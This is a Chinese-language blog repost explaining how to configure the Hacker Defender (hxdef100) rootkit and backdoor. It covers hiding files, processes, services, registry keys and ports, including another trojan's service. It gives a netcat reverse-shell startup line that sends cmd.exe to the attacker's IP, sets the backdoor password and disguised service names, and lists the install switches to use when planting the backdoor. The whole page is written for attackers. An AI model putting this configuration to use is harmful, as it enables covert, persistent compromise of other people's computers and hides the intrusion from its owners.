注册
登录
| 关键词： nbsp hxdef 服务 Hidden 后门 文件 通配符 100 配置 HackerdefenderDr |
转自：cnbird's blog 下载来的Hxdef100具有以下文件1. bdcli100.exe 自带后门客户端连接文件2. hxdef100.exe Hxdef100后门主程序3. hxdef100.2.ini 配置文件模板4. hxdef100.ini 经过简单加密的配置文件模板 打开hxdef.2.ini ，我们可以看到它的默认配置选项，首先，我们先对[Hidden Table]项进行配置，[Hidden Table]是要隐藏的列表，写在这个目录下的字符串，不管是作为文件名还是目录名，都将不在Windows的任务管理器、资源管理器中出现，并且支持通配符，一行一个。例如：[Hidden Table]hxdef* /*隐藏所有以hxdef开头的文件名、目录名等rcmd.exe /*隐藏rcmd.exe文件 ----------------------------------------- 下一步，就是[Root Processes]这里是配置要隐藏能在进程管理器中显示的进程名，同样支持通配符。例如：[Root Processes]hxdef* /*隐藏所有以hxdef开头的所有进程rcmd.exe /*隐藏rcmd.exe文件进程 ------------------------------------------ [Hidden Services]项目，是所要隐藏的服务列表，hxdef非但可以隐藏自身，而且还可以为其他后门、程序提供隐藏服务。首先当然是隐藏自身了，而后是其他的服务，支持通配符，一行一个。例如：[Hidden Services] Hackerdefender* /*这个是你的hxdef的服务名SVCH0ST /*这个是我的网络神偷免杀版的服务名，那个o其实是数字0 ---------------------------------------------- [Hidden RegKeys]隐藏RegKeys列表，我们天家的服务都是在Hkey_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\Services找到对应的注册表项，所以为了做到彻底隐藏，我们就要将隐藏进行到底，例如：[Hidden RegKeys]Hackerdefender100 /*默认服务名LEGACY_Hackerdefender100 /*LEGACY加hxdef的服务名HackerdefenderDrv100 /*hxdef的默认驱动名LEGACY_HackerdefenderDrv100 /*LEGACY加HackerdefenderDrv100的服务名其他的服务也如此添加，不同服务应该对应自身的服务名。 --------------------------------------------- [Startup Run]nc -e %windir%\system\cmd.exe 你的ip 端口 这里允许使用诸如%windir% %tmpdir% 等环境变量。 -------------------------------------------- [Hidden Ports]TCP:2004,8922,9333 /*要隐藏的TCP协议端口UDP:2004,8922,9333 /*要隐藏的UDP协议端口 --------------------------------------------- [Settings] hxdef 的设置部分，可以设置hxdef的服务名，描述，显示名等。设置方法如下：[Settings]Password=eyas.126.com /*后门连接密码BackdoorShell=stdio?.exe /*后门连接后，会将cmd.exe复制一份，每个连接复制一份，？为通配符。连接完毕后，自动删除。FileMappingName=_.-=[Hacker Defender]=-._ServiceName=HackerDefender100 /*hxdef的服务名，要和上面的[Hidden Services]项对应！ServiceDisplayName=HXD Service 100 /*hxdef的服务显示名ServiceDescription=powerfui NT rookit /*hxdef的服务描述DriverName=HackerDefenderDrv100 /*hxdef驱动名DriverFileName=hxdefdrv.sys /*hxdef驱动文件名 ------------------------------------------- [Comments]为注释部分，由于hxdef100的配置文件为.ini，所以一定要把[Hidden Table]项目填写正确完全，尤其把这个.ini文件也要隐藏掉，不然你就等着郁闷吧！ ---------------------------------------------- 以上我们知道了hxdef的配制方法，在种后门的时候，还需要注意以下的几个开关选项及事项：-：installonly /*仅仅进行安装服务，并不同步运行-：refresh /*重新读取ini设置-：noservice /*正常运行，但是不安装服务，重新启动的时候恢复， 做测试的时候用-：uninstall /*将hxdef移出内存，并且断开所有连接和卸载服务 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
